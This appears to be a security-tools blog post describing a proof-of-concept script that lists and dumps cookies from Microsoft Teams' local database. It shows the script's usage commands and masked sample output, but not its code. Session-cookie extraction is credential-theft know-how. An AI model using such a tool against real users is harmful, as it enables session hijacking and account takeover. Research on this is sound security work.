Cyber security

PoC For Dumping And Decrypting Cookies In The Latest Version Of Microsoft Teams

In the realm of cybersecurity, understanding the intricacies of cookie management and security is paramount.

In this article, we delve into a Proof of Concept (PoC) for extracting and decrypting cookies from the latest version of Microsoft Teams.

By unraveling the secrets hidden within these cookies, we uncover valuable insights into user interactions and security measures, shedding light on the intricacies of one of the most widely used collaboration platforms in the corporate world.

Join us as we explore the tools and techniques needed to navigate the labyrinth of Microsoft Teams’ cookies.

Teams_dump.py

List values in the database

python.exe .\teams_dump.py teams --list

Table: meta
Columns in meta: key, value
--------------------------------------------------
Table: cookies
Columns in cookies: creation_utc, host_key, top_frame_site_key, name, value, encrypted_value, path, expires_utc, is_secure, is_httponly, last_access_utc, has_expires, is_persistent, priority, samesite, source_scheme, source_port, is_same_party

Dump the database into a json file

python.exe .\teams_dump.py teams --get
[+] Host: teams.microsoft.com
[+] Cookie Name MUIDB
[+] Cookie Value: xxxxxxxxxxxxxx
 **************************************************
[+] Host: teams.microsoft.com
[+] Cookie Name TSREGIONCOOKIE
[+] Cookie Value: xxxxxxxxxxxxxx
 **************************************************
Varshini

Varshini is a Cyber Security expert in Threat Analysis, Vulnerability Assessment, and Research. Passionate about staying ahead of emerging Threats and Technologies.

Recent Posts

SpyAI : Intelligent Malware With Advanced Capabilities

SpyAI is a sophisticated form of malware that leverages advanced technologies to capture and analyze…

2 days ago

Proxmark3 : The Ultimate Tool For RFID Security And Analysis

The Proxmark3 is a versatile, open-source tool designed for radio-frequency identification (RFID) security analysis, research,…

2 days ago

Awesome Solana Security : Enhancing Program Development

The "Awesome Solana Security" collection is a comprehensive resource designed to help developers build more…

2 days ago

IngressNightmare-POCs : Understanding The Vulnerability Exploitation Flow

The "IngressNightmare" vulnerabilities, disclosed in March 2025, represent a critical set of security issues affecting…

2 days ago

AdaptixC2 : Enhancing Penetration Testing With Advanced Framework Capabilities

AdaptixC2 is an advanced post-exploitation and adversarial emulation framework designed specifically for penetration testers. It…

2 days ago

Bincrypter : Enhancing Linux Binary Security through Runtime Encryption And Obfuscation

Bincrypter is a powerful Linux binary runtime crypter written in BASH. It is designed to…

2 days ago